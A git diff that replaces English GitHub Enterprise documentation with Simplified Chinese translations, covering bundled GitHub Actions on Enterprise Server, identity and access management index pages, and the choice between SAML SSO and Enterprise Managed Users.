47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146139006' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于 {% data variables.product.product_name %} 中的操作 -## About actions on {% data variables.product.product_name %} +{% data variables.product.prodname_actions %} 工作流可使用操作,它们是一些单独的任务,可以组合这些操作以创建作业并自定义工作流。 您可以创建自己的操作,或者使用和自定义 {% data variables.product.prodname_dotcom %} 社区分享的操作。 -{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. +{% data reusables.actions.enterprise-no-internet-actions %} 您可以限制开发人员使用存储在 {% data variables.product.product_location %} 上的操作,其中包括大多数官方 {% data variables.product.company_short %} 创作的操作,以及开发人员创建的任何操作。 或者,为了让您的开发人员从行业领导者和开源社区构建的完整操作生态系统中受益,您可以配置对 {% data variables.product.prodname_dotcom_the_website %} 的其他操作的访问。 -{% data reusables.actions.enterprise-no-internet-actions %} You can restrict your developers to using actions that are stored on {% data variables.location.product_location %}, which includes most official {% data variables.product.company_short %}-authored actions, as well as any actions your developers create. Alternatively, to allow your developers to benefit from the full ecosystem of actions built by industry leaders and the open source community, you can configure access to other actions from {% data variables.product.prodname_dotcom_the_website %}. +我们建议允许自动访问 {% data variables.product.prodname_dotcom_the_website %} 的所有操作。 {% ifversion ghes %}但是,这需要 {% data variables.product.product_name %} {% data variables.product.prodname_dotcom_the_website %} 建立出站连接。 如果您不想允许这些连接,或者{% else %}如果{% endif %} 您希望更好地控制在企业中使用哪些操作,则可以手动同步 {% data variables.product.prodname_dotcom_the_website %} 中的特定操作。 -We recommend allowing automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes %}However, this does require {% data variables.product.product_name %} to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. If you don't want to allow these connections, or{% else %}If{% endif %} you want to have greater control over which actions are used on your enterprise, you can manually sync specific actions from {% data variables.product.prodname_dotcom_the_website %}. - -## Official actions bundled with your enterprise instance +## 与您的企业实例捆绑的正式操作 {% data reusables.actions.actions-bundled-with-ghes %} -The bundled official actions include the following, among others. +捆绑的官方操作包括以下内容等。 - `actions/checkout` - `actions/upload-artifact` - `actions/download-artifact` - `actions/labeler` -- Various `actions/setup-` actions +- 各种 `actions/setup-` 操作 -To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: https://HOSTNAME/actions. +若要查看企业实例中包含的所有官方操作,请浏览到实例上的 `actions` 组织:https://HOSTNAME/actions。 -There is no connection required between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %} to use these actions. +{% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %} 之间不需要连接即可使用这些操作。 -Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)." +每个操作都是 `actions` 组织中的存储库,每个操作存储库都包含工作流可以用于引用操作的必要标记、分支和提交 SHA。 有关如何更新捆绑官方操作的信息,请参阅“[使用最新版本的官方捆绑操作](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)。” {% note %} -**Notes:** -- When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)." -- When {% data variables.product.product_name %} is updated, bundled actions are automatically replaced with default versions in the upgrade package. +**注意:** +- 在包含自托管运行器的 {% data variables.product.product_name %} 上使用设置操作(例如 `actions/setup-LANGUAGE`)时,可能需要在无法访问 Internet 的运行器上设置工具缓存。 有关详细信息,请参阅“[在无法访问 Internet 的自托管运行器上设置工具缓存](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)。” +- 当 {% data variables.product.product_name %} 更新时,捆绑的操作会自动替换为升级包中的默认版本。 {% endnote %} -## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %} +## 配置对 {% data variables.product.prodname_dotcom_the_website %} 上操作的访问权限 {% data reusables.actions.access-actions-on-dotcom %} -The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". +推荐的方法是启用自动访问来自 {% data variables.product.prodname_dotcom_the_website %} 的所有操作。 通过使用 {% data variables.product.prodname_github_connect %} 将 {% data variables.product.product_name %} 与 {% data variables.product.prodname_ghe_cloud %} 集成可实现这一点。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_github_connect %} 启用对 {% data variables.product.prodname_dotcom_the_website %} 操作的自动访问](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)”。 -{% ifversion ghes %} -{% note %} +{% ifversion ghes %} {% note %} -**Note:** Before you can configure access to actions on {% data variables.product.prodname_dotcom_the_website %}, you must configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." +注意:在配置对 {% data variables.product.prodname_dotcom_the_website %} 的操作的访问之前,必须配置 {% data variables.product.product_location %} 以使用 {% data variables.product.prodname_actions %}。 有关详细信息,请参阅“[适用于 GitHub Enterprise Server 的 {% data variables.product.prodname_actions %} 的使用入门](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)。” -{% endnote %} -{% endif %} +{% endnote %} {% endif %} {% data reusables.actions.self-hosted-runner-networking-to-dotcom %} {% data reusables.actions.enterprise-limit-actions-use %} -Alternatively, if you want stricter control over which actions are allowed in your enterprise, or you do not want to allow outbound connections to {% data variables.product.prodname_dotcom_the_website %}, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)." +或者,如果希望在企业中更严格地控制允许的操作,或者不希望允许与 {% data variables.product.prodname_dotcom_the_website %} 的出站连接,可以使用 `actions-sync` 工具手动将操作下载并同步到企业实例上。 有关详细信息,请参阅“[从 {% data variables.product.prodname_dotcom_the_website %} 手动同步操作](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)。” diff --git a/translations/zh-CN/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/index.md b/translations/zh-CN/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/index.md new file mode 100644 index 0000000000..f433fb44f0 --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/index.md @@ -0,0 +1,30 @@ +--- +title: 为您的 GitHub Enterprise Server 实例验证用户身份 +intro: You can use {% data variables.product.prodname_ghe_server %}'s built-in authentication, or choose between CAS, LDAP, or SAML to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}. +redirect_from: +- /enterprise/admin/categories/authentication +- /enterprise/admin/guides/installation/user-authentication +- /enterprise/admin/articles/inviting-users +- /enterprise/admin/guides/migrations/authenticating-users-for-your-github-enterprise-instance +- /enterprise/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance +- /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance +versions: + ghes: '*' +topics: +- Enterprise +children: +- /using-built-in-authentication +- /disabling-unauthenticated-sign-ups +- /using-cas +- /using-saml +- /using-ldap +- /allowing-built-in-authentication-for-users-outside-your-identity-provider +- /changing-authentication-methods +shortTitle: Authenticate users +ms.openlocfilehash: 4eed53fcb5d26ccbca52823a54cfa9e236acb55d +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506496" +--- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/index.md b/translations/zh-CN/content/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/index.md new file mode 100644 index 0000000000..abd1ced7af --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/index.md @@ -0,0 +1,19 @@ +--- +title: 使用身份提供程序配置身份验证和预配 +intro: You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM. +versions: + ghae: '*' +redirect_from: +- /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider +children: +- /configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad +- /configuring-authentication-and-provisioning-for-your-enterprise-using-okta +- /mapping-okta-groups-to-teams +shortTitle: Use an IdP for SSO & SCIM +ms.openlocfilehash: b9b2c6f0e139e388dc01e80b875f2e08c4346125 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141505923" +--- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/index.md b/translations/zh-CN/content/admin/identity-and-access-management/index.md index 477ee3ba03..033b36bd33 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/index.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/index.md @@ -1,6 +1,6 @@ --- -title: Identity and access management -intro: 'You can configure how people access {% ifversion ghec or ghae %}your enterprise on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.' +title: 标识和访问管理 +intro: '你可以配置人们如何访问 {% ifversion ghec or ghae %}{% data variables.product.product_name %} 上你的企业{% elsif ghes %}{% data variables.product.product_location %}{% endif %}。' redirect_from: - /enterprise/admin/authentication - /admin/authentication @@ -21,5 +21,11 @@ children: - /using-saml-for-enterprise-iam - /using-enterprise-managed-users-for-iam - /managing-recovery-codes-for-your-enterprise +ms.openlocfilehash: 8c7a364ba6310617452626901c5859ef54cd2b47 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882809' --- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md b/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md index f4df144f3e..44e674d787 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: About authentication for your enterprise +title: 关于企业身份验证 shortTitle: About authentication -intro: 'You {% ifversion ghae %}must configure SAML single sign-on (SSO) so people can{% else %}can choose how people{% endif %} authenticate to access {% ifversion ghec %}your enterprise''s resources on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}.' +intro: '{% ifversion ghae %}必须配置 SAML 单一登录 (SSO),这样用户才能{% else %}选择身份验证{% endif %}方式,以便访问 {% ifversion ghec %}{% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %} 上有关 {% data variables.product.product_name %}{% endif %} 的企业资源。' versions: ghec: '*' ghes: '*' @@ -13,145 +13,140 @@ topics: - Enterprise - Identity - SSO +ms.openlocfilehash: 16b5bdd98e37db2eef6fe7e4e02da1a4ce8fd406 +ms.sourcegitcommit: 34d500fe45b362043b4b4685d6705a7bfb484d11 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148164370' --- - -## About authentication for your enterprise +## 关于企业身份验证 {% ifversion ghec %} -Enterprise owners on {% data variables.product.product_name %} can control the requirements for authentication and access to the enterprise's resources. +{% data variables.product.product_name %} 上的企业所有者可以控制对企业资源的身份验证和访问权限的要求。 {% data reusables.enterprise.ghec-authentication-options %} -After learning more about these options, to determine which method is best for your enterprise, see "[Identifying the best authentication method for your enterprise](#identifying-the-best-authentication-method-for-your-enterprise)." +详细了解这些选项后,要确定哪种方法最适合企业,请参阅“[确定企业的最佳身份验证方法](#identifying-the-best-authentication-method-for-your-enterprise)”。 -## Authentication methods for {% data variables.product.product_name %} +## {% data variables.product.product_name %} 的身份验证方法 -The following options are available for account management and authentication on {% data variables.product.product_name %}. +以下选项可用于在 {% data variables.product.product_name %} 上进行帐户管理和身份验证。 -- [Authentication through {% data variables.location.product_location %}](#authentication-through-githubcom) -- [Authentication through {% data variables.location.product_location %} with additional SAML access restriction](#authentication-through-githubcom-with-additional-saml-access-restriction) -- [Authentication with {% data variables.product.prodname_emus %} and federation](#authentication-with-enterprise-managed-users-and-federation) +- [ {% data variables.location.product_location %} 进行身份验证](#authentication-through-githubcom) +- [通过 {% data variables.location.product_location %} 进行身份验证,并具有其他 SAML 访问限制](#authentication-through-githubcom-with-additional-saml-access-restriction) +- [使用 {% data variables.product.prodname_emus %} 和联合方法进行身份验证](#authentication-with-enterprise-managed-users-and-federation) -### Authentication through {% data variables.location.product_location %} +### 通过 {% data variables.location.product_location %} 进行身份验证 -By default, each member must create a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after signing into the account on {% data variables.location.product_location %}. The member manages the account, and can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %}. +默认情况下,每个成员必须在 {% data variables.location.product_location %} 上创建个人帐户。 你授予对企业的访问权限,成员在 {% data variables.location.product_location %} 上登录帐户后方可访问企业资源。 成员管理帐户,并且可以为 {% data variables.location.product_location %} 上的其他企业、组织和存储库做出贡献。 -### Authentication through {% data variables.location.product_location %} with additional SAML access restriction +### 通过 {% data variables.location.product_location %} 进行身份验证,并具有其他 SAML 访问限制 -If you configure additional SAML access restriction, each member must create and manage a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after both signing into the account on {% data variables.location.product_location %} and successfully authenticating with your SAML identity provider (IdP). The member can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %} using their personal account. For more information about requiring SAML authentication for all access your enterprise's resources, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)." +如果配置其他 SAML 访问限制,每个成员就必须在 {% data variables.location.product_location %} 上创建和管理个人帐户。 你授予对企业的访问权限,成员在 {% data variables.location.product_location %} 上登录帐户并成功通过 SAML 标识提供者 (IdP) 进行身份验证后,方可访问企业资源。 成员可以使用其个人帐户为 {% data variables.location.product_location %} 上的其他企业、组织和存储库做出贡献。 有关要求对所有企业资源访问进行 SAML 身份验证的详细信息,请参阅“[关于适用于企业 IAM 的 SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)”。 -#### Considerations for enabling SAML for an enterprise or organization +如果对 {% data variables.product.product_name %} 使用独立组织,或者不想对企业中的每个组织使用 SAML 身份验证,则可以为单个组织配置 SAML。 有关详细信息,请参阅[关于使用 SAML 单一登录进行标识和访问管理](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)。 -You can configure SAML authentication for every organization in your enterprise, or for individual organizations. If you use a standalone organization with {% data variables.product.product_name %}, or if you don't want to use SAML authentication for every organization in your enterprise, you may want to configure SAML for an individual organization instead of your enterprise. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)." +### 使用 {% data variables.product.prodname_emus %} 和联合方法进行身份验证 -If some groups within your enterprise must use different SAML authentication providers to grant access to your resources on {% data variables.location.product_location %}, you can configure SAML for individual organizations. You can implement SAML for your organizations over time by allowing users to gradually authenticate using SAML. Alternatively, you can require SAML authentication by a certain date. Organization members who do not authenticate using SAML by this date will be removed. +如果需要对 {% data variables.location.product_location %} 上的企业成员的帐户进行更多控制,可以使用 {% data variables.product.prodname_emus %}。 使用 {% data variables.product.prodname_emus %} 时,可以使用 IdP 在 {% data variables.location.product_location %} 上为企业成员预配和管理帐户。 每个成员会登录到你创建的帐户,由企业管理该帐户。 对 {% data variables.product.prodname_dotcom_the_website %} 的其余部分的贡献受到限制。 有关详细信息,请参阅[关于 {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)。 -If you need to enforce a consistent authentication experience for every organization in your enterprise, you can configure SAML authentication for your enterprise account. The SAML configuration for your enterprise overrides any SAML configuration for individual organizations, and organizations cannot override the enterprise configuration. After you configure SAML for your enterprise, organization members must authenticate with SAML before accessing organization resources. SCIM is not available for enterprise accounts. Team synchronization is only available for SAML at the enterprise level if you use Azure AD as an IdP. For more information, see "[Managing team synchronization for organizations in your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise)." +## 确定企业的最佳身份验证方法 -Regardless of the SAML implementation you choose, you cannot add external collaborators to organizations or teams. You can only add external collaborators to individual repositories. +SAML SSO 和 {% data variables.product.prodname_emus %} 都可增强企业资源的安全性。 {% data variables.product.prodname_emus %} 还可用于控制企业成员的用户帐户并限制帐户可以执行的操作。 但如果这些限制阻碍了开发人员的工作流,这些限制可能得不到企业的承认。 -### Authentication with {% data variables.product.prodname_emus %} and federation +要确定企业是更多地受益于 SAML SSO 还是 {% data variables.product.prodname_emus %},请问问自己以下这些问题。 -If you need more control of the accounts for your enterprise members on {% data variables.location.product_location %}, you can use {% data variables.product.prodname_emus %}. With {% data variables.product.prodname_emus %}, you provision and manage accounts for your enterprise members on {% data variables.location.product_location %} using your IdP. Each member signs into an account that you create, and your enterprise manages the account. Contributions to the rest of {% data variables.product.prodname_dotcom_the_website %} are restricted. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." +- [是否希望控制用户的用户帐户?](#do-you-want-to-control-the-user-accounts-for-your-users) +- [企业使用的标识提供者是什么?](#which-identity-provider-does-your-enterprise-use) +- [开发人员是在公共存储库、Gist 还是在 {% data variables.product.prodname_pages %} 站点上工作?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites) +- [开发人员是否依赖于企业外部的协作?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise) +- [企业是否依赖于外部协作者?](#does-your-enterprise-rely-on-outside-collaborators) +- [企业能否容忍迁移成本?](#can-your-enterprise-tolerate-migration-costs) -## Identifying the best authentication method for your enterprise +### 是否希望控制用户的用户帐户? -Both SAML SSO and {% data variables.product.prodname_emus %} increase security for your enterprise's resources. {% data variables.product.prodname_emus %} additionally allows you to control the user accounts for your enterprise members and restricts what the accounts are able to do. However, those restrictions may be unacceptable for your enterprise if they obstruct your developers' workflows. +如果你不希望企业成员在 {% data variables.product.prodname_dotcom_the_website %} 上使用其自己的个人帐户来访问企业资源,则 {% data variables.product.prodname_emus %} 可能适合你的企业。 -To determine whether your enterprise would benefit more from SAML SSO or {% data variables.product.prodname_emus %}, ask yourself these questions. +借助 SAML SSO,开发人员可以创建和管理其自己的个人帐户,并且每个帐户都链接到 IdP 中的 SAML 标识。 {% data variables.product.prodname_emus %} 的功能更像其他熟悉的 SSO 解决方案,因为你可以为用户预配帐户。 还可通过控制与帐户关联的用户名和电子邮件地址,确保用户帐户符合公司标识。 -- [Do you want to control the user accounts for your users?](#do-you-want-to-control-the-user-accounts-for-your-users) -- [Which identity provider does your enterprise use?](#which-identity-provider-does-your-enterprise-use) -- [Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites) -- [Do your developers rely on collaboration outside of your enterprise?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise) -- [Does your enterprise rely on outside collaborators?](#does-your-enterprise-rely-on-outside-collaborators) -- [Can your enterprise tolerate migration costs?](#can-your-enterprise-tolerate-migration-costs) +如果你当前要求用户在 {% data variables.product.prodname_dotcom_the_website %} 上创建新帐户以仅在你的企业中使用,则 {% data variables.product.prodname_emus %} 可能更适合你。 但是,如果将 IdP 用作用户和访问管理的真相源,则 SAML SSO 可能是更好的选择,因为它可以显著降低复杂性。 例如,也许你的企业没有在 IdP 中加入新用户的既定流程。 -### Do you want to control the user accounts for your users? +### 企业使用的标识提供者是什么? -{% data variables.product.prodname_emus %} may be right for your enterprise if you don't want enterprise members to use their own personal accounts on {% data variables.product.prodname_dotcom_the_website %} to access your enterprise's resources. +{% data variables.product.prodname_emus %} 支持有限数量的 IdP,而 SAML SSO 充分支持大量 IdP,并对所有实施 SAML 2.0 标准的 IdP 提供有限支持。 有关每个选项支持的 IDP 列表,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)”和“[关于企业 IAM 的 SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)”。 -With SAML SSO, developers create and manage their own personal accounts, and each account is linked to a SAML identity in your IdP. {% data variables.product.prodname_emus %} functions more like other familiar SSO solutions, as you will provision the accounts for your users. You can also ensure user accounts conform with your company identity, by controlling usernames and the email addresses associated with the accounts. +仅当将不受支持的 IdP 联合到受支持的 IdP 以用作集成点时,才能将 {% data variables.product.prodname_emus %} 与不受支持的 IdP 一起使用。 如果想要避免这种额外的复杂性,SAML SSO 可能是更好的解决方案。 -If you currently require your users to create a new account on {% data variables.product.prodname_dotcom_the_website %} to use with your enterprise only, {% data variables.product.prodname_emus %} might be right for you. However, SAML SSO may be a better option if using your IdP as the source of truth for your user and access management would add too much complexity. For example, perhaps your enterprise does not have an established process for onboarding new users in your IdP. +### 开发人员是在公共存储库、Gist 还是在 {% data variables.product.prodname_pages %} 站点上工作? -### Which identity provider does your enterprise use? +为防止企业成员在 {% data variables.product.prodname_dotcom_the_website %} 上意外将企业拥有的内容泄露给公众,{% data variables.product.prodname_emus %} 对用户可执行的操作施加了严格的限制。 例如,{% data variables.enterprise.prodname_managed_users %} 无法创建公共存储库、任何可见性的 Gist 或在企业外部可见的 {% data variables.product.prodname_pages %} 站点。 有关限制的完整列表,请参阅“[{% data variables.enterprise.prodname_managed_users %} 的功能和限制](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)”。 -{% data variables.product.prodname_emus %} is supported for a limited number of IdPs, while SAML SSO offers full support for a larger number of IdPs, plus limited support for all IdPs that implement the SAML 2.0 standard. For the list of supported IdPs for each option, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)" and "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)." +某些企业可能无法接受这些限制。 要确定 {% data variables.product.prodname_emus %} 是否适合你,请与你的开发人员一起查看限制,并确认任何限制是否会阻碍你现有的工作流。 如果会,SAML SSO 可能是企业更好的选择。 -You can use {% data variables.product.prodname_emus %} with an unsupported IdP only if you federate the unsupported IdP to a supported IdP to use as an integration point. If you wish to avoid this extra complexity, SAML SSO may be a better solution for you. +### 开发人员是否依赖于企业外部的协作? -### Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites? +{% data variables.enterprise.prodname_managed_users_caps %} 仅适用于企业内的存储库。 如果开发人员必须参与企业内外的存储库(包括专用存储库),则 {% data variables.product.prodname_emus %} 可能不适合你的企业。 SAML SSO 可能是更好的解决方案。 -To prevent enterprise members from accidentally leaking corporate-owned content to the public on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} imposes strong restrictions on what users can do. For example, {% data variables.enterprise.prodname_managed_users %} cannot create public repositories, gists of any visibility, or {% data variables.product.prodname_pages %} sites that are visible outside the enterprise. For a full list of restrictions, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)." +某些公司在 {% data variables.location.product_location %} 上使用 SAML SSO 维护现有企业中的存储库,还会创建 {% data variables.enterprise.prodname_emu_enterprise %}。 从单个工作站参与两个企业拥有的存储库的开发人员必须在单个浏览器中,在 {% data variables.location.product_location %} 上的帐户之间切换,或者为每个帐户使用不同的浏览器。 开发人员可能还需要自定义工作站的 Git 配置,以适应这两个帐户。 此工作流的复杂性可能会增加错误地将内部代码泄露给公众的风险。 -These restrictions are unacceptable for some enterprises. To determine whether {% data variables.product.prodname_emus %} will work for you, review the restrictions with your developers, and confirm whether any of the restrictions will hinder your existing workflows. If so, SAML SSO may be a better choice for your enterprise. +如果你决定创建 {% data variables.enterprise.prodname_emu_enterprise %},但要求开发人员从单个工作站参与企业外部的资源,可以在开发人员的本地 Git 配置中为帐户之间的切换提供支持。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)”。 -### Do your developers rely on collaboration outside of your enterprise? +### 企业是否依赖于外部协作者? -{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to repositories within your enterprise. If your developers must contribute to both repositories within and outside of your enterprise, including private repositories, {% data variables.product.prodname_emus %} may not be right for your enterprise. SAML SSO may be a better solution. +借助 SAML SSO,可使用外部协作者角色向非 IdP 目录成员的人员授予对特定存储库的访问权限。 这对于企业外部的合作者(如承包商)尤其有用。 有关详细信息,请参阅“[将外部协作者添加到组织中的存储库](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)”。 -Some companies maintain repositories within an existing enterprise using SAML SSO on {% data variables.location.product_location %}, and also create an {% data variables.enterprise.prodname_emu_enterprise %}. Developers who contribute to repositories owned by both enterprises from a single workstation must switch between the accounts on {% data variables.location.product_location %} within a single browser, or use a different browser for each account. The developer may also need to customize the workstation's Git configuration to accommodate the two accounts. The complexity of this workflow can increase the risk of mistakenly leaking internal code to the public. +使用 {% data variables.product.prodname_emus %} 时,不存在外部协作者角色。 企业资源只能被 {% data variables.enterprise.prodname_managed_users %} 访问,后者始终由 IdP 预配。 要让外部合作者访问你的企业,必须在 IdP 中使用来宾帐户。 如果你对 {% data variables.product.prodname_emus %} 感兴趣,请与开发人员确认这是否会妨碍其任何现有工作流。 如果会,SAML SSO 可能是更好的解决方案。 -If you decide to create an {% data variables.enterprise.prodname_emu_enterprise %} but require that developers contribute to resources outside of the enterprise from a single workstation, you can provide support for switching between the accounts in a developer's local Git configuration. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)." +### 企业能否容忍迁移成本? -### Does your enterprise rely on outside collaborators? +如果企业不熟悉 {% data variables.product.prodname_dotcom_the_website %},SAML SSO 和 {% data variables.product.prodname_emus %} 同样易于采用。 -With SAML SSO, you can give access to specific repositories to people who are not members of your IdP's directory, by using the outside collaborator role. This can be especially useful for collaborators that are external to your business, such as contractors. For more information, see "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)." +如果已与管理其自己的用户帐户的开发人员一起使用 {% data variables.product.prodname_dotcom_the_website %},则采用 {% data variables.product.prodname_emus %} 时需要迁移到新的企业帐户。 有关详细信息,请参阅“[关于具有 {% data variables.enterprise.prodname_managed_users %} 的企业](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)”。 -With {% data variables.product.prodname_emus %}, the outside collaborator role does not exist. Your enterprise's resources can only be accessed by {% data variables.enterprise.prodname_managed_users %}, which are always provisioned by your IdP. To give external collaborators access to your enterprise, you would have to use guest accounts in your IdP. If you're interested in {% data variables.product.prodname_emus %}, confirm with your developers whether this will hinder any of their existing workflows. If so, SAML SSO may be a better solution. - -### Can your enterprise tolerate migration costs? - -If your enterprise is new to {% data variables.product.prodname_dotcom_the_website %}, SAML SSO and {% data variables.product.prodname_emus %} are equally easy to adopt. - -If you're already using {% data variables.product.prodname_dotcom_the_website %} with developers managing their own user accounts, adopting {% data variables.product.prodname_emus %} requires migrating to a new enterprise account. For more information, see "[About enterprises with {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)." - -Although {% data variables.product.prodname_emus %} is free, the migration process may require time or cost from your team. Confirm that this migration process is acceptable to your business and your developers. If not, SAML SSO may be the better choice for you. +虽然 {% data variables.product.prodname_emus %} 是免费的,但迁移过程可能需要团队付出时间或成本。 确认你的企业和开发人员可以接受此迁移过程。 